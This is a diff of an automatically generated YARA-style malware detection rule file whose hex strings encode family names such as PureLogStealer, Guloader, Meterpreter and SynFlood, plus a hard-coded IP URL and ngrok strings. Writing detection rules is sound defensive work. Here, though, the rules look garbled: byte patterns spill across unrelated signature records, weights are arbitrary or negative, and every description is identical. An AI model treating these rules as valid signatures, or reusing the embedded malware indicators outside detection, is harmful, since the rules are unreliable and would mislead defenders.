"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -114099,7 +121597,7 @@ rule _InfrastructureShared_10480{ ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*769) >=1 } -rule _InfrastructureShared_10481{ +rule _InfrastructureShared_11157{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -114110,7 +121608,7 @@ rule _InfrastructureShared_10481{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*29550) >=1 } -rule _InfrastructureShared_10482{ +rule _InfrastructureShared_11158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -114122,7 +121620,7 @@ rule _InfrastructureShared_10482{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*-29951+(#a_33_2 & 1)*26967) >=1 } -rule _InfrastructureShared_10483{ +rule _InfrastructureShared_11159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -114134,7 +121632,7 @@ rule _InfrastructureShared_10483{ ((#a_54_0 & 1)*18467+(#a_cc_1 & 1)*-20283+(#a_6d_2 & 1)*27720) >=1 } -rule _InfrastructureShared_10484{ +rule _InfrastructureShared_11160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -114146,7 +121644,7 @@ rule _InfrastructureShared_10484{ ((#a_46_0 & 1)*16675+(#a_ec_1 & 1)*-4981+(#a_20_3 & 1)*4357) >=1 } -rule _InfrastructureShared_10485{ +rule _InfrastructureShared_11161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -114156,7 +121654,7 @@ rule _InfrastructureShared_10485{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_10486{ +rule _InfrastructureShared_11162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -114167,7 +121665,7 @@ rule _InfrastructureShared_10486{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*149) >=2 } -rule _InfrastructureShared_10487{ +rule _InfrastructureShared_11163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -114178,7 +121676,7 @@ rule _InfrastructureShared_10487{ ((#a_46_0 & 1)*16675+(#a_8d_1 & 1)*21897) >=2 } -rule _InfrastructureShared_10488{ +rule _InfrastructureShared_11164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -114188,7 +121686,7 @@ rule _InfrastructureShared_10488{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_10489{ +rule _InfrastructureShared_11165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -114198,7 +121696,7 @@ rule _InfrastructureShared_10489{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_10490{ +rule _InfrastructureShared_11166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -114209,7 +121707,7 @@ rule _InfrastructureShared_10490{ ((#a_46_0 & 1)*16675+(#a_c1_1 & 1)*77) >=2 } -rule _InfrastructureShared_10491{ +rule _InfrastructureShared_11167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -114220,7 +121718,7 @@ rule _InfrastructureShared_10491{ ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*25705) >=2 } -rule _InfrastructureShared_10492{ +rule _InfrastructureShared_11168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -114231,7 +121729,7 @@ rule _InfrastructureShared_10492{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305) >=2 } -rule _InfrastructureShared_10493{ +rule _InfrastructureShared_11169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -114242,18 +121740,29 @@ rule _InfrastructureShared_10493{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28520) >=2 } -rule _InfrastructureShared_10494{ +rule _InfrastructureShared_11170{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_54_0 = {3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 53 70 65 65 64 55 70 4d 79 50 43 00 01 00 40 01 75 00 6e 00 69 00 62 00 6c 00 75 00 65 00 2e 00 63 00 6f 00 6d 00 2f 00 73 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 2f 00 73 00 70 00 65 00 65 00 64 00 } //18467 - $a_00_1 = {6d 00 79 00 70 00 63 00 01 00 28 01 5c 00 55 00 6e 00 69 00 62 00 6c 00 75 00 65 00 5c 00 53 00 70 00 65 00 65 00 64 00 55 00 70 00 4d 00 79 00 50 00 43 00 00 00 78 99 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 79 4e 6f 6f 6e 2e 53 4d 31 34 21 4d 54 42 00 01 00 36 00 8b 4d f8 8b 55 0c 0f } //117 + $a_00_1 = {6d 00 79 00 70 00 63 00 01 00 28 01 5c 00 55 00 6e 00 69 00 62 00 6c 00 75 00 65 00 5c 00 53 00 70 00 65 00 65 00 64 00 55 00 70 00 4d 00 79 00 50 00 43 00 00 00 78 99 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 4c 6f 67 53 74 65 61 6c 65 72 2e 52 52 32 35 30 35 31 35 21 4d 54 42 00 01 } //117 condition: ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*117) >=2 } -rule _InfrastructureShared_10495{ +rule _InfrastructureShared_11171{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 4c 6f 67 53 74 65 61 6c 65 72 2e 52 52 32 35 30 35 31 35 21 4d 54 42 00 01 00 3e 02 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 35 00 2e 00 32 00 32 00 36 00 2e 00 35 00 35 00 2e 00 31 00 38 00 36 00 } //18467 + $a_00_1 = {41 00 78 00 2f 00 90 02 1f 2e 00 90 02 02 64 00 66 00 90 00 01 00 1c 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 65 00 64 00 44 00 61 00 74 00 61 00 00 00 78 99 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 79 4e 6f 6f 6e 2e 53 4d 31 34 21 4d 54 42 00 01 00 36 00 8b 4d f8 8b 55 0c 0f b7 04 4a 85 } //47 + condition: + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*47) >=2 + +} +rule _InfrastructureShared_11172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -114264,7 +121773,7 @@ rule _InfrastructureShared_10495{ ((#a_54_0 & 1)*18467+(#a_f8_1 & 1)*-30463) >=2 } -rule _InfrastructureShared_10496{ +rule _InfrastructureShared_11173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -114275,7 +121784,7 @@ rule _InfrastructureShared_10496{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*65) >=2 } -rule _InfrastructureShared_10497{ +rule _InfrastructureShared_11174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -114285,7 +121794,7 @@ rule _InfrastructureShared_10497{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_10498{ +rule _InfrastructureShared_11175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -114296,7 +121805,7 @@ rule _InfrastructureShared_10498{ ((#a_4c_0 & 1)*21539+(#a_32_1 & 1)*9252) >=2 } -rule _InfrastructureShared_10499{ +rule _InfrastructureShared_11176{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -114308,7 +121817,7 @@ rule _InfrastructureShared_10499{ ((#a_46_0 & 1)*16675+(#a_f0_1 & 1)*-15822+(#a_b6_2 & 1)*-14333) >=2 } -rule _InfrastructureShared_10500{ +rule _InfrastructureShared_11177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -114320,7 +121829,7 @@ rule _InfrastructureShared_10500{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*26691+(#a_72_2 & 1)*24944) >=2 } -rule _InfrastructureShared_10501{ +rule _InfrastructureShared_11178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -114331,7 +121840,7 @@ rule _InfrastructureShared_10501{ ((#a_54_0 & 1)*18467+(#a_28_3 & 1)*-175) >=2 } -rule _InfrastructureShared_10502{ +rule _InfrastructureShared_11179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -114345,7 +121854,7 @@ rule _InfrastructureShared_10502{ ((#a_46_0 & 1)*16675+(#a_85_1 & 1)*-1+(#a_70_2 & 1)*24878+(#a_54_3 & 1)*8497+(#a_66_4 & 1)*13613) >=2 } -rule _InfrastructureShared_10503{ +rule _InfrastructureShared_11180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -114357,7 +121866,7 @@ rule _InfrastructureShared_10503{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28496+(#a_42_2 & 1)*19745) >=3 } -rule _InfrastructureShared_10504{ +rule _InfrastructureShared_11181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -114369,7 +121878,7 @@ rule _InfrastructureShared_10504{ ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*-32475+(#a_38_2 & 1)*24884) >=3 } -rule _InfrastructureShared_10505{ +rule _InfrastructureShared_11182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -114380,7 +121889,7 @@ rule _InfrastructureShared_10505{ ((#a_54_0 & 1)*18467+(#a_6e_2 & 1)*21089) >=3 } -rule _InfrastructureShared_10506{ +rule _InfrastructureShared_11183{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -114392,7 +121901,7 @@ rule _InfrastructureShared_10506{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28439+(#a_8d_2 & 1)*27136) >=3 } -rule _InfrastructureShared_10507{ +rule _InfrastructureShared_11184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -114404,7 +121913,7 @@ rule _InfrastructureShared_10507{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*101+(#a_00_2 & 1)*82) >=3 } -rule _InfrastructureShared_10508{ +rule _InfrastructureShared_11185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -114415,7 +121924,7 @@ rule _InfrastructureShared_10508{ ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*105) >=3 } -rule _InfrastructureShared_10509{ +rule _InfrastructureShared_11186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -114427,7 +121936,7 @@ rule _InfrastructureShared_10509{ ((#a_4c_0 & 1)*21539+(#a_c8_1 & 1)*2134+(#a_00_3 & 1)*105) >=3 } -rule _InfrastructureShared_10510{ +rule _InfrastructureShared_11187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -114441,7 +121950,7 @@ rule _InfrastructureShared_10510{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*101+(#a_df_2 & 1)*-5446+(#a_00_3 & 1)*-10753+(#a_f9_4 & 1)*18433) >=3 } -rule _InfrastructureShared_10511{ +rule _InfrastructureShared_11188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -114457,7 +121966,7 @@ rule _InfrastructureShared_10511{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*-30392+(#a_67_2 & 1)*28257+(#a_6d_3 & 1)*28261+(#a_90_4 & 1)*28524+(#a_21_5 & 1)*11890+(#a_66_6 & 1)*29551) >=3 } -rule _InfrastructureShared_10512{ +rule _InfrastructureShared_11189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -114469,7 +121978,7 @@ rule _InfrastructureShared_10512{ ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=4 } -rule _InfrastructureShared_10513{ +rule _InfrastructureShared_11190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -114482,7 +121991,7 @@ rule _InfrastructureShared_10513{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*24941+(#a_00_2 & 1)*101+(#a_6e_3 & 1)*27247) >=4 } -rule _InfrastructureShared_10514{ +rule _InfrastructureShared_11191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -114495,7 +122004,7 @@ rule _InfrastructureShared_10514{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*21339+(#a_79_2 & 1)*267+(#a_01_3 & 1)*1) >=4 } -rule _InfrastructureShared_10515{ +rule _InfrastructureShared_11192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -114507,20 +122016,46 @@ rule _InfrastructureShared_10515{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*11636+(#a_00_3 & 1)*85) >=4 } -rule _InfrastructureShared_10516{ +rule _InfrastructureShared_11193{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 47 6f 46 69 6c 65 45 78 70 72 65 73 73 00 01 00 12 01 42 00 75 00 79 00 4e 00 6f 00 77 00 55 00 52 00 4c 00 02 00 2e 01 79 00 6f 00 75 00 72 00 66 00 69 00 6c 00 65 00 2d 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 65 00 72 00 2e 00 63 00 } //18467 - $a_00_1 = {01 00 15 01 77 65 6c 63 6f 6d 65 55 72 6c 41 66 74 65 72 46 69 6e 69 73 68 01 00 17 01 63 61 6e 74 20 64 72 6f 70 20 6f 66 66 65 72 62 69 6e 20 66 69 6c 65 00 00 78 99 00 00 04 00 04 00 05 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 53 69 64 65 54 61 62 00 01 00 10 01 53 6f 66 74 77 61 72 65 5c 50 6f 73 74 54 69 70 01 00 } //111 - $a_6f_2 = {74 54 69 70 2e 64 6c 6c 00 01 00 12 01 50 6f 73 74 54 69 70 5f 51 75 69 74 45 76 65 6e 74 00 01 00 15 01 73 69 64 65 74 61 62 2e 63 6f 2e 6b 72 2f 75 70 64 61 74 65 2f 01 00 23 01 69 6e 73 74 61 6c 6c 2e 61 73 70 3f 76 65 72 73 69 6f 6e 3d } //268 - $a_69_3 = {3d 25 73 26 6d 61 63 3d 25 73 00 00 78 99 00 00 04 00 04 00 06 00 21 23 48 53 54 52 3a 42 6f 6f 43 6f 6d 70 69 6c } //29477 + $a_00_1 = {01 00 15 01 77 65 6c 63 6f 6d 65 55 72 6c 41 66 74 65 72 46 69 6e 69 73 68 01 00 17 01 63 61 6e 74 20 64 72 6f 70 20 6f 66 66 65 72 62 69 6e 20 66 69 6c 65 00 00 78 99 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 4c 30 31 21 4d 54 42 00 01 00 08 81 01 66 69 72 73 69 64 65 74 } //111 + $a_81_2 = {6a 75 62 69 6c 75 6d 73 66 6f 6e 64 65 6e 20 66 61 73 74 61 6e 73 74 74 65 6c 73 65 6e 73 20 61 72 74 69 66 65 78 } //1 jubilumsfonden fastansttelsens artifex + $a_81_3 = {67 61 6c 65 61 6e 73 74 61 6c 74 73 } //1 galeanstalts condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*111+(#a_6f_2 & 1)*268+(#a_69_3 & 1)*29477) >=4 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*111+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 } -rule _InfrastructureShared_10517{ +rule _InfrastructureShared_11194{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 4c 30 31 21 4d 54 42 00 01 00 08 81 01 66 69 72 73 69 64 65 74 01 00 26 81 01 6a 75 62 69 6c 75 6d 73 66 6f 6e 64 65 6e 20 66 61 73 74 61 6e 73 74 74 65 6c 73 65 6e 73 20 61 72 74 69 66 65 78 01 } //18467 + $a_01_1 = {67 61 6c 65 61 6e 73 74 61 6c 74 73 01 00 23 81 01 62 75 6b 73 65 72 65 6d 6d 65 6e 65 73 20 73 76 69 6e 67 6b 61 72 72 75 73 65 6c 6c 65 6e 20 64 75 74 79 00 00 78 99 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 56 30 31 21 4d 54 42 00 01 00 1a 81 01 63 6f 70 61 6c 69 6e 65 20 6d 67 62 75 6e 6b 65 6e 73 20 63 6f 6d 74 69 73 6d 01 00 } //3072 + $a_63_2 = {74 } //-32486 t + $a_6d_3 = {6c 69 73 73 65 72 73 20 67 6f 6e 69 6f 64 6f 72 69 73 01 00 16 81 01 72 6f 6f 6d 74 68 69 6e 65 73 73 20 75 6e 6d 75 74 74 65 72 65 64 01 00 13 81 01 65 6c 6c 69 70 73 65 72 6e 65 20 73 68 61 72 6b 65 72 73 00 00 78 99 00 00 04 00 04 00 05 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 53 69 64 65 54 61 62 00 01 00 10 01 53 6f } //28530 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*3072+(#a_63_2 & 1)*-32486+(#a_6d_3 & 1)*28530) >=4 + +} +rule _InfrastructureShared_11195{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 56 30 31 21 4d 54 42 00 01 00 1a 81 01 63 6f 70 61 6c 69 6e 65 20 6d 67 62 75 6e 6b 65 6e 73 20 63 6f 6d 74 69 73 6d 01 00 1a 81 01 63 69 74 72 6f 6e 6d 65 6c 69 73 73 65 72 73 20 67 6f 6e 69 6f } //18467 + $a_69_1 = {01 00 16 81 01 72 6f 6f 6d 74 68 69 6e 65 73 73 20 75 6e 6d 75 74 74 65 72 65 64 01 00 13 81 01 65 6c 6c 69 70 73 65 72 6e 65 20 73 68 61 72 6b 65 72 73 00 00 78 99 00 00 04 00 04 00 05 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 53 69 64 65 54 61 62 00 01 00 10 01 53 6f 66 74 77 61 72 65 5c 50 6f 73 74 54 69 70 01 00 0c 01 50 6f 73 74 } //28516 + $a_2e_2 = {6c 6c 00 01 00 12 01 50 6f 73 74 54 69 70 5f 51 75 69 74 45 76 65 6e 74 00 01 00 15 01 73 69 64 65 74 61 62 2e 63 6f 2e 6b 72 2f 75 70 64 61 74 65 2f 01 00 23 01 69 6e 73 74 61 6c 6c 2e 61 73 70 3f 76 65 72 73 69 6f 6e 3d 25 73 26 69 64 3d 25 73 26 6d 61 63 3d 25 73 00 00 78 99 00 00 04 00 04 00 06 00 21 23 48 53 54 52 3a 42 6f 6f 43 } //26964 + $a_69_3 = {65 00 01 00 09 01 42 6f 6f 2e 4c 61 6e 67 00 01 00 12 01 42 6f 6f 2e 4c 61 6e 67 2e 43 6f 6d 70 69 6c 65 72 00 01 00 16 01 42 6f 6f 2e 4c 61 6e 67 2e 43 6f 6d 70 69 6c 65 72 2e 41 73 74 00 01 00 16 01 42 6f 6f 2e 4c 61 6e 67 2e 45 6e 76 69 72 6f 6e 6d 65 6e 74 73 00 01 00 0d 01 42 6f 6f 2e 4c 61 6e 67 2e 64 6c 6c 00 01 00 13 01 42 6f } //28015 + condition: + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*28516+(#a_2e_2 & 1)*26964+(#a_69_3 & 1)*28015) >=4 + +} +rule _InfrastructureShared_11196{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -114528,42 +122063,94 @@ rule _InfrastructureShared_10517{ $a_77_0 = {72 65 3a 57 69 6e 33 32 2f 53 69 64 65 54 61 62 00 01 00 10 01 53 6f 66 74 77 61 72 65 5c 50 6f 73 74 54 69 70 01 00 0c 01 50 6f 73 74 54 69 70 2e 64 6c 6c 00 01 00 12 01 50 6f 73 74 54 69 70 5f 51 75 69 74 45 76 65 6e 74 00 01 00 15 01 73 69 64 65 74 61 62 2e 63 6f 2e 6b 72 2f 75 70 64 61 74 65 2f } //16675 $a_01_1 = {69 6e 73 74 61 6c 6c 2e 61 73 70 3f 76 65 72 73 69 6f 6e 3d 25 73 26 69 64 3d 25 73 26 6d 61 63 3d 25 73 } //1 install.asp?version=%s&id=%s&mac=%s $a_99_2 = {00 04 00 04 00 06 00 21 23 48 53 54 52 3a 42 6f 6f 43 6f 6d 70 69 6c 65 00 01 00 09 01 42 6f 6f 2e 4c 61 6e 67 00 01 00 12 01 42 6f 6f 2e 4c 61 6e 67 2e 43 6f 6d 70 69 6c 65 72 00 01 00 16 01 42 6f 6f 2e 4c 61 6e 67 2e 43 6f 6d 70 69 6c 65 72 2e 41 73 74 00 01 00 16 01 42 6f 6f 2e 4c 61 6e 67 2e 45 6e 76 69 72 6f 6e 6d 65 6e 74 73 00 01 00 0d 01 42 6f 6f 2e } //0 - $a_67_3 = {64 6c 6c 00 01 00 13 01 42 6f 6f 2e 4c 61 6e 67 2e 52 65 73 6f 75 72 63 65 73 00 00 00 78 99 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 44 6f 53 3a 57 69 6e 33 32 2f 53 79 6e 46 6c 6f 6f 64 2e 4a 00 01 00 09 01 4d 50 2d 44 44 6f 73 65 72 01 00 08 01 ae 4d 50 63 72 79 70 74 01 00 0c 00 77 77 77 2e 6c 69 76 65 2e 63 6f 6d 01 00 } //24908 - $a_69_4 = {65 66 6f 78 01 00 3d 01 7c 65 8b 45 f0 c1 e0 06 03 d8 89 5d f0 83 c7 06 83 ff 08 7c 48 83 ef 08 8b cf 8b 5d f0 d3 eb 8b cf b8 01 00 00 00 d3 e0 50 8b 45 f0 5a 8b ca 99 f7 f9 89 55 f0 81 e3 ff 00 00 80 79 08 00 00 78 99 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 } //7 + $a_67_3 = {64 6c 6c 00 01 00 13 01 42 6f 6f 2e 4c 61 6e 67 2e 52 65 73 6f 75 72 63 65 73 00 00 00 78 99 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 65 74 65 72 70 72 65 74 65 72 2e 41 48 43 21 4d 54 42 00 03 00 39 03 48 8d 55 b0 48 8b 85 90 01 02 00 00 48 01 d0 0f b6 00 48 8b 8d 90 01 02 00 00 48 8b } //24908 + $a_02_4 = {00 } //-28523 condition: - ((#a_77_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_99_2 & 1)*0+(#a_67_3 & 1)*24908+(#a_69_4 & 1)*7) >=4 + ((#a_77_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_99_2 & 1)*0+(#a_67_3 & 1)*24908+(#a_02_4 & 1)*-28523) >=4 } -rule _InfrastructureShared_10518{ +rule _InfrastructureShared_11197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " strings : $a_54_0 = {3a 42 6f 6f 43 6f 6d 70 69 6c 65 00 01 00 09 01 42 6f 6f 2e 4c 61 6e 67 00 01 00 12 01 42 6f 6f 2e 4c 61 6e 67 2e 43 6f 6d 70 69 6c 65 72 00 01 00 16 01 42 6f 6f 2e 4c 61 6e 67 2e 43 6f 6d 70 69 6c 65 72 2e 41 73 74 00 01 00 16 01 42 6f 6f 2e 4c 61 } //18467 $a_45_1 = {76 69 72 6f 6e 6d 65 6e 74 73 00 01 00 0d 01 42 6f 6f 2e 4c 61 6e 67 2e 64 6c 6c 00 01 00 13 01 42 6f 6f 2e 4c 61 6e 67 2e 52 65 73 6f 75 } //26478 - $a_73_2 = {00 00 78 99 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 44 6f 53 3a 57 69 6e 33 32 2f 53 79 6e 46 6c 6f 6f 64 2e 4a 00 01 00 09 01 4d 50 2d 44 44 6f 73 65 72 01 00 08 01 ae 4d 50 63 72 79 70 74 01 00 0c 00 77 77 77 2e 6c 69 76 65 2e 63 6f 6d 01 00 07 00 66 69 72 65 66 6f 78 01 00 3d 01 7c 65 8b 45 f0 } //25458 - $a_03_3 = {d8 89 5d f0 83 c7 } //-7999 - $a_08_4 = {7c 48 83 ef 08 8b cf 8b 5d f0 d3 eb 8b cf b8 01 00 00 00 d3 e0 50 8b 45 f0 5a 8b ca 99 f7 f9 89 55 f0 81 e3 ff 00 00 80 79 08 00 00 78 99 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4b 4b 59 31 32 33 21 4d 54 42 00 01 00 11 81 01 54 68 6f 75 67 68 74 77 6f 72 6b 73 20 49 6e 63 2e 01 00 1a 81 01 43 68 61 72 74 65 72 20 4f 6e 65 20 46 69 6e 61 6e 63 69 61 6c 20 49 6e 63 2e 01 00 0e 81 01 53 68 61 77 20 47 72 6f 75 70 20 49 6e 63 01 00 11 81 01 61 76 6f 6b 65 20 62 65 73 75 6c 6c 79 2e 65 78 65 01 00 0c 81 01 4c 69 6d 69 74 65 64 20 49 6e 63 2e 00 00 78 99 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4e 67 72 6f 6b 2e 41 00 01 00 1e 01 67 6f 2e 6e 67 72 6f 6b 2e 63 6f 6d 2f 63 6d 64 2f 6e 67 } //-31994 - $a_2f_5 = {75 6e 6e 65 6c 73 01 00 1e 01 67 6f 2e 6e 67 72 6f 6b 2e 63 6f 6d 2f 6c 69 62 2f 74 75 6e 6e 65 6c 2f 63 6c 69 65 6e 74 01 00 0a 01 6e 67 72 6f 6b 20 68 74 74 70 01 00 13 01 4e 67 72 6f 6b 49 6e 74 65 72 6e 61 6c 46 69 6c 74 65 72 01 00 0f 01 6e 67 72 6f 6b 5f 73 65 72 76 65 72 5f 69 64 00 00 78 99 00 00 05 00 05 00 05 } //28530 + $a_73_2 = {00 00 78 99 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 65 74 65 72 70 72 65 74 65 72 2e 41 48 43 21 4d 54 42 00 03 00 39 03 48 8d 55 b0 48 8b 85 90 01 02 00 00 48 01 d0 0f b6 00 48 8b 8d 90 01 02 00 00 48 8b 95 90 01 02 00 00 48 01 ca 32 85 90 01 02 00 00 88 02 } //25458 + $a_90_3 = {02 00 00 01 90 00 02 00 29 03 b9 07 01 00 00 48 89 c7 48 89 d6 f3 48 a5 48 89 f2 48 89 f8 0f b7 0a 66 89 08 48 c7 85 90 01 01 08 00 00 3a 08 00 00 90 00 00 00 78 99 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 61 6e 63 79 4a 65 6c 6c 79 2e 41 00 01 00 15 01 00 49 6e 69 74 69 61 6c 69 7a 65 4e 65 77 44 6f 6d 61 69 6e 00 01 00 0e 01 00 44 6f 77 6e 6c 6f 61 64 44 } //-31928 + $a_00_4 = {01 00 0c 01 00 55 70 6c 6f 61 64 44 61 74 61 00 01 00 1e 01 4d 69 63 72 6f 73 6f 66 74 20 48 54 54 50 20 53 65 72 76 69 63 65 20 48 61 6e 64 6c 65 72 01 00 11 03 06 91 06 61 20 90 01 04 61 d2 9c 06 17 58 0a 90 00 00 00 78 99 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 44 6f 53 3a 57 